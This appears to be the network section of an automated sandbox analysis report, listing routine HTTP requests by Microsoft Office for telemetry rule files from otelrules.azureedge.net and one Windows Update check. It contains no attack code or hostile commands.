Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pHarSwZcwhL4vrP&MD=ZoSHVHXf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
